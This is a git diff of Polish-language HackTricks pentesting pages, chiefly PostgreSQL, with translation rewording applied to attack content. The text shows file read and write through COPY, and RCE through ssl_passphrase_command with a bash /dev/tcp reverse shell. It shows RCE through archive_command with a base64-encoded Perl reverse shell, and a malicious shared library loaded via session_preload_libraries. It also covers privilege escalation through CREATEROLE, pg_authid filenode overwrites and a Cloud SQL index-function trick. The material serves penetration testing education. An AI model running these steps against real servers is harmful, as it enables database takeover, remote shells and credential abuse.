||||
### Odczytywanie katalogów i plików
|
||||
|
||||
Od tego [**commita**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) członkowie zdefiniowanej grupy **`DEFAULT_ROLE_READ_SERVER_FILES`** (zwanej **`pg_read_server_files`**) oraz **super użytkownicy** mogą używać metody **`COPY`** dla dowolnej ścieżki (sprawdź `convert_and_check_filename` w `genfile.c`):
|
||||
Z tego [**commita**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) członkowie zdefiniowanej grupy **`DEFAULT_ROLE_READ_SERVER_FILES`** (zwanej **`pg_read_server_files`**) oraz **super użytkownicy** mogą używać metody **`COPY`** dla dowolnej ścieżki (sprawdź `convert_and_check_filename` w `genfile.c`):
|
||||
```sql
|
||||
# Read file
|
||||
CREATE TABLE demo(t text);
|
||||
|
@ -298,11 +286,11 @@ SHOW data_directory;
|
|||
GRANT pg_read_server_files TO username;
|
||||
# Check CREATEROLE privilege escalation
|
||||
```
|
||||
Możesz znaleźć **więcej funkcji** na [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
|
||||
Możesz znaleźć **więcej funkcji** na stronie [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
|
||||
|
||||
### Proste pisanie plików
|
||||
### Proste pisanie do pliku
|
||||
|
||||
Tylko **superużytkownicy** i członkowie **`pg_write_server_files`** mogą używać kopii do zapisywania plików.
|
||||
Tylko **superużytkownicy** i członkowie **`pg_write_server_files`** mogą używać polecenia copy do zapisywania plików.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -331,13 +319,13 @@ Jednak istnieją **inne techniki przesyłania dużych plików binarnych:**
|
|||
|
||||
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie **Intigriti**, premium platformie **bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **$100,000**!
|
||||
**Wskazówka dotycząca nagrody za błąd**: **Zarejestruj się** na platformie **Intigriti**, premium **platformie do nagród za błędy stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
### Aktualizacja danych tabeli PostgreSQL poprzez zapis lokalnego pliku
|
||||
### Aktualizacja danych tabeli PostgreSQL poprzez zapis pliku lokalnego
|
||||
|
||||
Jeśli masz odpowiednie uprawnienia do odczytu i zapisu plików serwera PostgreSQL, możesz zaktualizować dowolną tabelę na serwerze, **nadpisując powiązany węzeł pliku** w [katalogu danych PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Więcej na temat tej techniki** [**tutaj**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
Jeśli masz niezbędne uprawnienia do odczytu i zapisu plików serwera PostgreSQL, możesz zaktualizować dowolną tabelę na serwerze, nadpisując powiązany węzeł pliku w [katalogu danych PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Więcej na temat tej techniki** [**tutaj**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
|
||||
Wymagane kroki:
|
||||
|
||||
|
@ -347,8 +335,8 @@ Wymagane kroki:
|
|||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
```
|
||||
|
||||
**Uwaga:** Jeśli nie możesz pobrać ścieżki bieżącego katalogu danych z ustawień, możesz zapytać o główną wersję PostgreSQL za pomocą zapytania `SELECT version()` i spróbować zgadywać ścieżkę. Powszechne ścieżki katalogu danych w instalacjach PostgreSQL na systemach Unix to `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Powszechną nazwą klastra jest `main`.
|
||||
2. Uzyskaj względną ścieżkę do węzła pliku powiązanego z docelową tabelą
|
||||
**Uwaga:** Jeśli nie możesz pobrać ścieżki bieżącego katalogu danych z ustawień, możesz zapytać o główną wersję PostgreSQL za pomocą zapytania `SELECT version()` i spróbować przeprowadzić atak siłowy na ścieżkę. Powszechne ścieżki katalogu danych w instalacjach PostgreSQL na systemach Unix to `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Powszechną nazwą klastra jest `main`.
|
||||
2. Uzyskaj względną ścieżkę do węzła pliku powiązanego z tabelą docelową
|
||||
|
||||
```sql
|
||||
SELECT pg_relation_filepath('{TABLE_NAME}')
|
||||
|
@ -360,7 +348,7 @@ To zapytanie powinno zwrócić coś w rodzaju `base/3/1337`. Pełna ścieżka na
|
|||
```sql
|
||||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||||
```
|
||||
4. Pobierz typ danych powiązany z docelową tabelą
|
||||
4. Pobierz typ danych powiązany z tabelą docelową
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
|
@ -387,8 +375,8 @@ WHERE pg_class.relname = '{TABLE_NAME}';
|
|||
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
||||
```
|
||||
|
||||
![Demo Edytora węzłów plików PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
|
||||
6. Ponownie prześlij zmodyfikowany węzeł pliku za pomocą funkcji `lo_*` i nadpisz oryginalny plik na dysku
|
||||
![Demo edytora węzłów plików PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
|
||||
6. Ponownie przesłać zmieniony węzeł pliku za pomocą funkcji `lo_*` i nadpisać oryginalny plik na dysku
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
|
||||
|
@ -455,13 +443,13 @@ Gdy już **nauczysz się** z poprzedniego posta **jak wgrywać pliki binarne**,
|
|||
Następujące wektory RCE są szczególnie przydatne w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT
|
||||
{% endhint %}
|
||||
|
||||
**Plik konfiguracyjny** PostgreSQL jest **zapisywalny** przez użytkownika **postgres**, który uruchamia bazę danych, więc jako **superużytkownik** możesz zapisywać pliki w systemie plików, a więc możesz go **nadpisać.**
|
||||
**Plik konfiguracyjny** PostgreSQL jest **zapisywalny** przez użytkownika **postgres**, który uruchamia bazę danych, więc jako **superużytkownik** możesz zapisywać pliki w systemie plików, a więc możesz **nadpisać ten plik.**
|
||||
|
||||
![](<../.gitbook/assets/image (322).png>)
|
||||
|
||||
#### **RCE z ssl\_passphrase\_command**
|
||||
|
||||
Więcej informacji [na temat tej techniki tutaj](https://pulsesecurity.co.nz/articles/postgres-sqli).
|
||||
Więcej informacji [o tej technice tutaj](https://pulsesecurity.co.nz/articles/postgres-sqli).
|
||||
|
||||
Plik konfiguracyjny ma kilka interesujących atrybutów, które mogą prowadzić do RCE:
|
||||
|
||||
|
@ -476,25 +464,25 @@ Następnie atakujący będzie musiał:
|
|||
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Nadpisać**
|
||||
4. **Wyciągnąć** aktualną **konfigurację** postgresql
|
||||
5. **Nadpisać** **konfigurację** z wymienionymi atrybutami konfiguracji:
|
||||
5. **Nadpisać** **konfigurację** z wymienioną konfiguracją atrybutów:
|
||||
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. Wykonać `pg_reload_conf()`
|
||||
6. Wywołać `pg_reload_conf()`
|
||||
|
||||
Podczas testowania zauważyłem, że to zadziała tylko jeśli **plik klucza prywatnego ma uprawnienia 640**, jest **własnością roota** i **grupy ssl-cert lub postgres** (aby użytkownik postgres mógł go odczytać), i jest umieszczony w _/var/lib/postgresql/12/main_.
|
||||
Podczas testowania zauważyłem, że to zadziała tylko jeśli **plik klucza prywatnego ma uprawnienia 640**, jest **własnością roota** i **grupy ssl-cert lub postgres** (aby użytkownik postgres mógł go odczytać) oraz jest umieszczony w _/var/lib/postgresql/12/main_.
|
||||
|
||||
#### **RCE z archive\_command**
|
||||
|
||||
**Więcej** [**informacji o tej konfiguracji i o WAL tutaj**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
||||
|
||||
Innym atrybutem w pliku konfiguracyjnym, który jest podatny na atak, jest `archive_command`.
|
||||
Innym atrybutem w pliku konfiguracyjnym, który można wykorzystać, jest `archive_command`.
|
||||
|
||||
Aby to działało, ustawienie `archive_mode` musi być `'on'` lub `'always'`. Jeśli tak jest, możemy nadpisać polecenie w `archive_command` i zmusić je do wykonania za pomocą operacji WAL (write-ahead logging).
|
||||
Aby to działało, ustawienie `archive_mode` musi być `'on'` lub `'always'`. Jeśli tak jest, możemy nadpisać polecenie w `archive_command` i zmusić je do wykonania poprzez operacje WAL (write-ahead logging).
|
||||
|
||||
Ogólne kroki to:
|
||||
|
||||
1. Sprawdź, czy tryb archiwizacji jest włączony: `SELECT current_setting('archive_mode')`
|
||||
2. Nadpisz `archive_command` ładunkiem. Na przykład, odwrócony shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
2. Nadpisz `archive_command` ładunkiem. Na przykład odwrócony shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Przeładuj konfigurację: `SELECT pg_reload_conf()`
|
||||
4. Wymuś działanie operacji WAL, która wywoła polecenie archiwizacji: `SELECT pg_switch_wal()` lub `SELECT pg_switch_xlog()` dla niektórych wersji Postgres
|
||||
|
||||
|
@ -507,13 +495,13 @@ Ten wektor ataku wykorzystuje następujące zmienne konfiguracyjne:
|
|||
* `session_preload_libraries` -- biblioteki, które zostaną załadowane przez serwer PostgreSQL podczas połączenia klienta.
|
||||
* `dynamic_library_path` -- lista katalogów, w których serwer PostgreSQL będzie szukał bibliotek.
|
||||
|
||||
Możemy ustawić wartość `dynamic_library_path` na katalog zapisywalny przez użytkownika `postgres` uruchamiającego bazę danych, np. katalog `/tmp/`, i wgrać tam złośliwy obiekt `.so`. Następnie zmusimy serwer PostgreSQL do załadowania naszej nowo wgranej biblioteki, dodając ją do zmiennej `session_preload_libraries`.
|
||||
Możemy ustawić wartość `dynamic_library_path` na katalog zapisywalny przez użytkownika `postgres` uruchamiającego bazę danych, na przykład katalog `/tmp/`, i wgrać tam złośliwy obiekt `.so`. Następnie zmusimy serwer PostgreSQL do załadowania naszej nowo wgranej biblioteki, dodając ją do zmiennej `session_preload_libraries`.
|
||||
|
||||
Kroki ataku to:
|
||||
|
||||
1. Pobierz oryginalny `postgresql.conf`
|
||||
2. Dołącz katalog `/tmp/` do wartości `dynamic_library_path`, np. `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. Dołącz nazwę złośliwej biblioteki do wartości `session_preload_libraries`, np. `session_preload_libraries = 'payload.so'`
|
||||
2. Dołącz katalog `/tmp/` do wartości `dynamic_library_path`, na przykład `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. Dołącz nazwę złośliwej biblioteki do wartości `session_preload_libraries`, na przykład `session_preload_libraries = 'payload.so'`
|
||||
4. Sprawdź główną wersję PostgreSQL za pomocą zapytania `SELECT version()`
|
||||
5. Skompiluj złośliwy kod biblioteki z odpowiednim pakietem deweloperskim PostgreSQL Przykładowy kod:
|
||||
|
||||
|
@ -564,16 +552,16 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
|
|||
6. Wgraj złośliwy `postgresql.conf`, utworzony w krokach 2-3, i nadpisz oryginalny
|
||||
7. Wgraj `payload.so` z kroku 5 do katalogu `/tmp`
|
||||
8. Przeładuj konfigurację serwera, restartując serwer lub wywołując zapytanie `SELECT pg_reload_conf()`
|
||||
9. Podczas następnego połączenia z bazą danych otrzymasz połączenie z odwróconym shellem.
|
||||
9. Przy następnym połączeniu z bazą danych otrzymasz połączenie z odwróconym shellem.
|
||||
## **Postgres Privesc**
|
||||
|
||||
### Podwyższenie uprawnień CREATEROLE
|
||||
|
||||
#### **Grant**
|
||||
|
||||
Zgodnie z [**dokumentacją**](https://www.postgresql.org/docs/13/sql-grant.html): _Role posiadająca uprawnienie **`CREATEROLE`** może **udzielać lub odbierać członkostwo w dowolnej roli**, która **nie jest** **superuserem**._
|
||||
Zgodnie z [**dokumentacją**](https://www.postgresql.org/docs/13/sql-grant.html): _Role posiadająca uprawnienia **`CREATEROLE`** może **udzielać lub odbierać przynależność do dowolnej roli**, która **nie jest** **superuserem**._
|
||||
|
||||
Więc, jeśli masz uprawnienia **`CREATEROLE`**, możesz udzielić sobie dostępu do innych **ról** (które nie są superuserami), co pozwoli Ci na odczyt i zapis plików oraz wykonywanie poleceń:
|
||||
Więc jeśli masz uprawnienia **`CREATEROLE`**, możesz udzielić sobie dostępu do innych **ról** (które nie są superuserami), co pozwoli Ci na odczyt i zapis plików oraz wykonywanie poleceń:
|
||||
```sql
|
||||
# Access to execute commands
|
||||
GRANT pg_execute_server_program TO username;
|
||||
|
@ -591,7 +579,7 @@ ALTER USER user_name WITH PASSWORD 'new_password';
|
|||
```
|
||||
#### Podwyższenie uprawnień do SUPERUSER
|
||||
|
||||
Jest dość powszechne, że **lokalni użytkownicy mogą zalogować się do PostgreSQL bez podawania hasła**. Dlatego, gdy już zdobędziesz **uprawnienia do wykonania kodu**, możesz nadużyć tych uprawnień, aby uzyskać rolę **`SUPERUSER`**:
|
||||
Jest dość powszechne, że **lokalni użytkownicy mogą zalogować się do PostgreSQL bez podawania hasła**. Dlatego, gdy już zdobędziesz **uprawnienia do wykonywania kodu**, możesz nadużyć tych uprawnień, aby uzyskać rolę **`SUPERUSER`**:
|
||||
```sql
|
||||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
|
@ -623,9 +611,9 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|||
```
|
||||
#### Wykorzystanie
|
||||
|
||||
1. Zacznij od stworzenia nowej tabeli.
|
||||
1. Zacznij od utworzenia nowej tabeli.
|
||||
2. Wstaw kilka nieistotnych treści do tabeli, aby dostarczyć danych dla funkcji indeksu.
|
||||
3. Opracuj złośliwą funkcję indeksu zawierającą ładunek wykonania kodu, umożliwiając tym samym wykonanie nieautoryzowanych poleceń.
|
||||
3. Opracuj złośliwą funkcję indeksu zawierającą ładunek wykonania kodu, umożliwiającą wykonanie nieautoryzowanych poleceń.
|
||||
4. ZMIEŃ właściciela tabeli na "cloudsqladmin", który jest rolą superużytkownika GCP używaną wyłącznie przez Cloud SQL do zarządzania i utrzymania bazy danych.
|
||||
5. Wykonaj operację ANALYZE na tabeli. Ta czynność zmusza silnik PostgreSQL do przełączenia się na kontekst użytkownika właściciela tabeli, "cloudsqladmin". W rezultacie złośliwa funkcja indeksu jest wywoływana z uprawnieniami "cloudsqladmin", umożliwiając wykonanie wcześniej nieautoryzowanego polecenia powłoki.
|
||||
|
||||
|
@ -656,7 +644,7 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
|||
```
|
||||
### Lokalne Logowanie
|
||||
|
||||
Niektóre źle skonfigurowane instancje postgresql mogą zezwalać na logowanie dowolnego lokalnego użytkownika, jest możliwe zalogowanie się lokalnie z 127.0.0.1 za pomocą funkcji **`dblink`**:
|
||||
Niektóre źle skonfigurowane instancje postgresql mogą zezwalać na logowanie dowolnego lokalnego użytkownika, jest możliwe zalogowanie się lokalnie z 127.0.0.1 przy użyciu funkcji **`dblink`**:
|
||||
```sql
|
||||
\du * # Get Users
|
||||
\l # Get databases
|
||||
|
@ -687,9 +675,9 @@ Możliwe jest sprawdzenie, czy ta funkcja istnieje za pomocą:
|
|||
```sql
|
||||
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
||||
```
|
||||
### **Niestandardowa funkcja z** SECURITY DEFINER
|
||||
### **Niestandardowa funkcja z** DEFINER BEZPIECZEŃSTWA
|
||||
|
||||
[W tym opisie](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesterzy byli w stanie uzyskać podwyższenie uprawnień w instancji postgres dostarczonej przez IBM, ponieważ **znaleźli tę funkcję z flagą SECURITY DEFINER**:
|
||||
[W tym opisie](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesterzy byli w stanie uzyskać podwyższenie uprawnień w instancji postgres dostarczonej przez IBM, ponieważ **znaleźli tę funkcję z flagą DEFINER BEZPIECZEŃSTWA**:
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
|
@ -710,28 +698,28 @@ PERFORM dblink_disconnect();
|
|||
…
|
||||
</code></pre>
|
||||
|
||||
Jak [**wyjaśniono w dokumentacji**](https://www.postgresql.org/docs/current/sql-createfunction.html) funkcja z **SECURITY DEFINER jest wykonywana** z uprawnieniami **użytkownika, który ją posiada**. Dlatego jeśli funkcja jest **podatna na Wstrzyknięcie SQL** lub wykonuje **uprzywilejowane działania z parametrami kontrolowanymi przez atakującego**, może być nadużyta do **podniesienia uprawnień wewnątrz postgres**.
|
||||
Jak [**wyjaśniono w dokumentacji**](https://www.postgresql.org/docs/current/sql-createfunction.html) funkcja z **DEFINER BEZPIECZEŃSTWA jest wykonywana** z uprawnieniami **użytkownika, który ją posiada**. Dlatego jeśli funkcja jest **podatna na Wstrzyknięcie SQL** lub wykonuje **uprzywilejowane działania z parametrami kontrolowanymi przez atakującego**, może być nadużyta do **podniesienia uprawnień wewnątrz postgres**.
|
||||
|
||||
W linii 4 poprzedniego kodu widać, że funkcja ma flagę **SECURITY DEFINER**.
|
||||
W linii 4 poprzedniego kodu można zobaczyć, że funkcja ma flagę **DEFINER BEZPIECZEŃSTWA**.
|
||||
```sql
|
||||
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
||||
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
||||
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
||||
```
|
||||
### Wykonaj polecenia:
|
||||
I następnie **wykonaj polecenia**:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Przełamanie siły przebijania z PL/pgSQL
|
||||
### Przechodzenie Brute Force z PL/pgSQL
|
||||
|
||||
**PL/pgSQL** to **w pełni funkcjonalny język programowania**, który oferuje większą kontrolę proceduralną w porównaniu do SQL. Umożliwia korzystanie z **pętli** i innych **struktur kontrolnych** w celu ulepszenia logiki programu. Ponadto **instrukcje SQL** i **triggery** mają zdolność wywoływania funkcji tworzonych przy użyciu języka **PL/pgSQL**. Ta integracja pozwala na bardziej wszechstronne podejście do programowania baz danych i automatyzacji.\
|
||||
**Możesz nadużyć tego języka, aby poprosić PostgreSQL o przeprowadzenie ataku siłowego na dane uwierzytelniające użytkowników.**
|
||||
**Możesz nadużyć tego języka, aby poprosić PostgreSQL o przeprowadzenie ataku brute-force na dane uwierzytelniające użytkowników.**
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
||||
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Przywłaszczenie przez nadpisanie wewnętrznych tabel PostgreSQL
|
||||
### Przywłaszczenie przez Nadpisanie Wewnętrznych Tabel PostgreSQL
|
||||
|
||||
{% hint style="info" %}
|
||||
Następujący wektor przywłaszczenia jest szczególnie przydatny w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT
|
||||
|
@ -744,12 +732,12 @@ Dowiedz się więcej o **tej technice** [**tutaj**](https://adeadfed.com/posts/u
|
|||
Kroki ataku to:
|
||||
|
||||
1. Uzyskaj katalog danych PostgreSQL
|
||||
2. Uzyskaj względną ścieżkę do filenode'a powiązanego z tabelą `pg_authid`
|
||||
2. Uzyskaj ścieżkę względną do filenode powiązanego z tabelą `pg_authid`
|
||||
3. Pobierz filenode za pomocą funkcji `lo_*`
|
||||
4. Pobierz typ danych powiązany z tabelą `pg_authid`
|
||||
5. Użyj [Edytora Filenode PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor), aby [edytować filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); ustaw wszystkie flagi boolean `rol*` na 1 dla pełnych uprawnień.
|
||||
6. Ponownie wgraj zmodyfikowany filenode za pomocą funkcji `lo_*` i nadpisz oryginalny plik na dysku
|
||||
7. _(Opcjonalnie)_ Wyczyść pamięć podręczną tabeli, uruchamiając kosztowne zapytanie SQL
|
||||
6. Ponownie przesłać zmieniony filenode za pomocą funkcji `lo_*` i nadpisać oryginalny plik na dysku
|
||||
7. _(Opcjonalnie)_ Wyczyść pamięć podręczną tabeli w pamięci, uruchamiając kosztowne zapytanie SQL
|
||||
8. Teraz powinieneś mieć uprawnienia pełnego superadministratora.
|
||||
|
||||
## **POST**
|
||||
|
@ -786,28 +774,6 @@ string pgadmin4.db
|
|||
```
|
||||
### pg\_hba
|
||||
|
||||
Autoryzacja klienta w PostgreSQL jest zarządzana za pomocą pliku konfiguracyjnego o nazwie **pg\_hba.conf**. Ten plik zawiera serię rekordów, z których każdy określa typ połączenia, zakres adresów IP klienta (jeśli dotyczy), nazwę bazy danych, nazwę użytkownika oraz metodę uwierzytelniania do użycia w celu dopasowania połączeń. Pierwszy rekord, który pasuje do typu połączenia, adresu klienta, żądanej bazy danych i nazwy użytkownika, jest używany do uwierzytelniania. Nie ma żadnego mechanizmu zapasowego, jeśli uwierzytelnienie nie powiedzie się. Jeśli żaden rekord nie pasuje, dostęp jest odrzucany.
|
||||
Autoryzacja klienta w PostgreSQL jest zarządzana za pomocą pliku konfiguracyjnego o nazwie **pg\_hba.conf**. Ten plik zawiera serię rekordów, z których każdy określa typ połączenia, zakres adresów IP klienta (jeśli dotyczy), nazwę bazy danych, nazwę użytkownika oraz metodę uwierzytelniania do użycia w celu dopasowania połączeń. Pierwszy rekord, który pasuje do typu połączenia, adresu klienta, żądanej bazy danych i nazwy użytkownika, jest używany do uwierzytelniania. Nie ma żadnego mechanizmu zapasowego w przypadku niepowodzenia uwierzytelnienia. Jeśli żaden rekord nie pasuje, dostęp jest odrzucany.
|
||||
|
||||
Dostępne metody uwierzytelniania oparte na haśle w pliku pg\_hba.conf to **md5**, **crypt** i **password**. Te metody różnią się sposobem przesyłania hasła: zahaszowanego MD5, zaszyfrowanego crypt lub zwykłego tekstu. Ważne jest zauważenie, że metoda crypt nie może być używana z hasłami, które zostały zaszyfrowane w pg\_authid.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql), aby łatwo budować i **automatyzować przepływy pracy** z wykorzystaniem **najbardziej zaawansowanych** narzędzi społecznościowych na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
|
||||
Dostępne metody uwierzytelniania oparte na hasłach w pliku pg\_hba.conf to **md5**, **crypt** i **password**. Te metody różnią się sposobem przesyłania hasła: zahaszowanego MD5, zaszyfrowanego crypt lub zwykłego tekstu. Ważne jest zauważenie, że metoda crypt nie może być używana z hasłami, które zostały zaszyfrowane w pg\_authid.
|
||||
|
|
|
@ -9,18 +9,20 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje o VoIP
|
||||
|
||||
Aby zacząć naukę na temat działania VoIP, sprawdź:
|
||||
Aby zacząć naukę o tym, jak działa VoIP, sprawdź:
|
||||
|
||||
{% content-ref url="basic-voip-protocols/" %}
|
||||
[basic-voip-protocols](basic-voip-protocols/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Podstawowe komunikaty
|
||||
```
|
||||
Request name Description RFC references
|
||||
------------------------------------------------------------------------------------------------------
|
||||
|
@ -115,7 +117,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
|||
493 Undecipherable
|
||||
494 Security Agreement Required
|
||||
```
|
||||
**5xx—Odpowiedzi o błędach serwera**
|
||||
**5xx—Odpowiedzi serwera o błędzie**
|
||||
```
|
||||
500 Internal Server Error
|
||||
501 Not Implemented
|
||||
|
@ -151,7 +153,7 @@ Gdy już będziesz mieć numery telefonów, możesz skorzystać z usług online,
|
|||
|
||||
Znając, czy operator świadczy usługi VoIP, można zidentyfikować, czy firma korzysta z VoIP... Ponadto możliwe jest, że firma nie zatrudniła usług VoIP, ale używa kart PSTN do podłączenia swojej własnej centrali VoIP do tradycyjnej sieci telefonicznej.
|
||||
|
||||
Rzeczy takie jak zautomatyzowane odpowiedzi lub muzyka zazwyczaj wskazują, że jest używany VoIP.
|
||||
Rzeczy takie jak zautomatyzowane odpowiedzi lub muzyka zazwyczaj wskazują na korzystanie z VoIP.
|
||||
|
||||
### Google Dorks
|
||||
```bash
|
||||
|
